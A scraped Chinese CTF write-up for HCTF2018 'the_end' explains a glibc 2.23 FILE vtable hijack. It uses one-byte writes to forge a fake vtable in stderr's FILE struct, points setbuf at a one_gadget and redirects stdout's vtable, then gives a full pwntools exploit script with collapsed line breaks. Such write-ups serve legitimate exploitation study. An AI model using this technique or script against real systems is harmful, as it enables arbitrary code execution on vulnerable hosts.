当前位置: 首页 > news >正文

HCTF2018 the_end

打的 libc2.23 ,借此学习基础的伪造 vtable 劫持程序流程.

程序给了 libc_base,有五次任意地址写 1 bytes 的机会,最后调用了一个 exit

函数调用链:

pwndbg> bt
#0  _IO_unbuffer_all () at genops.c:898
#1  _IO_cleanup () at genops.c:960
#2  0x00007ffff7839fab in __run_exit_handlers (status=1337, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=true)at exit.c:95
#3  0x00007ffff783a055 in __GI_exit (status=<optimized out>) at exit.c:104
#4  0x0000555555400969 in ?? ()
#5  0x00007ffff7820840 in __libc_start_main (main=0x5555554008d0, argc=1, argv=0x7fffffffbdc8, init=<optimized out>,fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffbdb8) at ../csu/libc-start.c:291
#6  0x00005555554007c9 in ?? ()

__GI_exit -> __run_exit_handlers -> _IO_cleanup -> _IO_unbuffer_all

int
_IO_cleanup (void)
{/* We do *not* want locking.  Some threads might use streams butthat is their problem, we flush them underneath them.  */int result = _IO_flush_all_lockp (0);/* We currently don't have a reliable mechanism for making sure thatC++ static destructors are executed in the correct order.So it is possible that other static destructors might want towrite to cout - and they're supposed to be able to do so.The following will make the standard streambufs be unbuffered,which forces any output from late destructors to be written out. */_IO_unbuffer_all ();return result;
}

可以看到在 _IO_unbuffer_all 之前还会有 _IO_flush_all_lockp 函数,然而由于 _IO_list_all 链表中只有 stdinstdoutstderr,并不会触发里面对 _IO_OVERFLOW 的调用,因此实际上没有调用到任何虚表函数。

_IO_unbuffer_all 中会遍历 _IO_list_all 链表上的每一个 FILE,都会用到宏 _IO_SETBUF (fp, NULL, 0); 这个宏的定义就是从当前 FILEvtable 指向的地址中找到 setbuf 函数并调用。

gdb 中可以看到 vtable 所指向的 _IO_file_jumps 的具体情况:

$1 = {__dummy = 0,__dummy2 = 0,__finish = 0x7ffff78799d0 <_IO_new_file_finish>,__overflow = 0x7ffff787a740 <_IO_new_file_overflow>,__underflow = 0x7ffff787a4b0 <_IO_new_file_underflow>,__uflow = 0x7ffff787b610 <__GI__IO_default_uflow>,__pbackfail = 0x7ffff787c990 <__GI__IO_default_pbackfail>,__xsputn = 0x7ffff78791f0 <_IO_new_file_xsputn>,__xsgetn = 0x7ffff7878ed0 <__GI__IO_file_xsgetn>,__seekoff = 0x7ffff78784d0 <_IO_new_file_seekoff>,__seekpos = 0x7ffff787ba10 <_IO_default_seekpos>,__setbuf = 0x7ffff7878440 <_IO_new_file_setbuf>,__sync = 0x7ffff7878380 <_IO_new_file_sync>,__doallocate = 0x7ffff786d190 <__GI__IO_file_doallocate>,__read = 0x7ffff78791b0 <__GI__IO_file_read>,__write = 0x7ffff7878b80 <_IO_new_file_write>,__seek = 0x7ffff7878980 <__GI__IO_file_seek>,__close = 0x7ffff7878350 <__GI__IO_file_close>,__stat = 0x7ffff7878b70 <__GI__IO_file_stat>,__showmanyc = 0x7ffff787cb00 <_IO_default_showmanyc>,__imbue = 0x7ffff787cb10 <_IO_default_imbue>
}

每个成员变量都是占 8 字节的空间,由此得出 __set_buf 的偏移。

程序 closestdoutstderr,但是程序用的是 close 而非 fcloseclose 是系统调用,不会执行任何关于 IO 的代码,仅仅是在内核态下收回了对应的 fd 值,在 glibc 的视角中,stdoutstderrFILEbuf 没有任何改变,所有数据仍然在对应的内存上。

这两者的 FILE 结构体都在 libc 段上(其 buf 在堆上),没有被 free 掉或清 0FILE 所在那块内存上的数据没有被覆盖,因此我们可以考虑在 stderrFILE 结构体上伪造 fake vtable,再修改 stdoutvtable 指向这里。

具体地,将 _IO_2_1_stderr_->file->_wide_datapartial writeone_gadget,然后将它作为 __setbuf 指针,进而可以得到 fake_vtable 的首地址,然后再将 _IO_2_1_stdout->vtablepartial writefake_vtable 的地址即可。

我在做的时候一开始是选择修改 _IO_2_1_stdin_vtablefile->chain,然而由于 __setbuf 的执行条件是有执行过关于该 FILE有缓冲区读写操作(因为这样才会申请对应的 buf),而 stdin 并没有(程序的读入是使用系统调用 read 实现的,同样直接绕过了 IO 的部分),所以不能够触发 __setbuf

另外,由于用的 close() 是系统调用,不会把 stdoutstderr_IO_list_all 上拿下来,所以它们仍然在链表上,此时修改了它们的 _chain,在遍历链表的时候就会报错。

所以最后选择的是 _IO_2_1_stdout_(程序使用了 printf)和 _wide_data

exp

from pwn import *
io = process('./pwn')
libc = ELF('./libc-2.23.so')
def write(addr,byte):io.send(p64(addr))io.send(p8(byte))
def Exploit():io.recvuntil(b'here is a gift ')libc_base = io.recvuntil(b', ',drop=1)libc_base = int(libc_base,16)io.recvuntil(b'good luck ;)')libc_base = libc_base-libc.symbols['sleep']stderr_file = libc_base+libc.symbols['_IO_2_1_stderr_']stdout_file = libc_base+libc.symbols['_IO_2_1_stdout_']one_gadget = libc_base+0xf1247vtable_addr = stdout_file+216setbuf_addr = stderr_file+160fake_vtable = setbuf_addr-88print(hex(setbuf_addr),end=' ')print(hex(one_gadget))print(hex(vtable_addr),end=' ')print(hex(fake_vtable))write(setbuf_addr,(one_gadget&0xff))write(setbuf_addr+1,((one_gadget>>8)&0xff))write(setbuf_addr+2,((one_gadget>>16)&0xff))write(vtable_addr,(fake_vtable)&0xff)"""gdb.attach(io,f'''b *{one_gadget}''')pause()"""write(vtable_addr+1,(fake_vtable>>8)&0xff)io.sendline('exec 1>&0')io.sendline('ls')io.interactive()if __name__ == '__main__':Exploit()
http://www.jsqmd.com/news/512807/

相关文章:

  • 2025-2026年充电桩加盟品牌推荐:光储充一体化解决方案口碑品牌盘点 - 品牌推荐
  • 亲测好用 9个降AIGC平台全场景通用测评,哪个最能帮你降AI率?
  • OpenClaw进阶实战:多智能体协同+自定义Skill开发,打造专属AI团队
  • 弃国外开源,创自主开源 Perseus:乐维的底层技术抉择与智能体战略
  • 告别AI Agent记忆混乱与幻觉!收藏这份RAG实战指南,小白也能轻松搞定大模型落地
  • Win11右键--新建文件名修改
  • 【统计检验】正态性检验
  • 激光雷达作物样例数据
  • AI 时代,前端先死,还是后端先死?
  • 2026.3.21 B. Twin Works
  • 面试必问的自动化测试框架你真会了吗?
  • springboot 项目集成 seate 分布式事务AT模式使用nacos完整配置步骤及说明
  • 南京租打印机别踩坑!押金透明、退机不扯皮才是王道
  • 0 基础入门 Agent:理论知识体系搭建指南
  • 【Kotlin】快速理解协程
  • 如何重置idea ai assistant ACP 插件中的 Cursor 账号登录状态?
  • 2026年3月拓竹H2C分析,拓竹多色打印系统受市场青睐,市面上诚信的拓竹多色打印系统公司分析综合实力与口碑权威评选 - 品牌推荐师
  • 机械行业文档系统如何解决CAD图纸跨平台粘贴?
  • 【统计分析】皮尔逊相关系数检验
  • 从 Token 到 Agent:一文串起 AI 大模型核心概念
  • 哪里有字体包下载:2026年可靠资源与安全使用指南
  • 医院电子病历系统怎样优化PDF文档导入速度?
  • 能源行业深度分析:当“微克煤耗”成为生死线,六西格玛培训如何重塑企业韧性
  • 2026年3月:值得关注的专业沙发翻新公司大揭秘,行业内专业沙发翻新聚焦优质品牌综合实力分析 - 品牌推荐师
  • 限时公开!6款免费AI论文工具半天搞定文理医工全类型论文 - 麟书学长
  • 中博咨询谈湖南国企三项制度改革:锚定政策导向,激活国企高质量发展内生动力
  • 租房新标准:要“无感关怀”,不要“智能炫技”
  • centos中防火墙操作
  • 沃虎电子LVDS解决方案:高速差分传输的完整链路守护
  • 2026.3.21 图论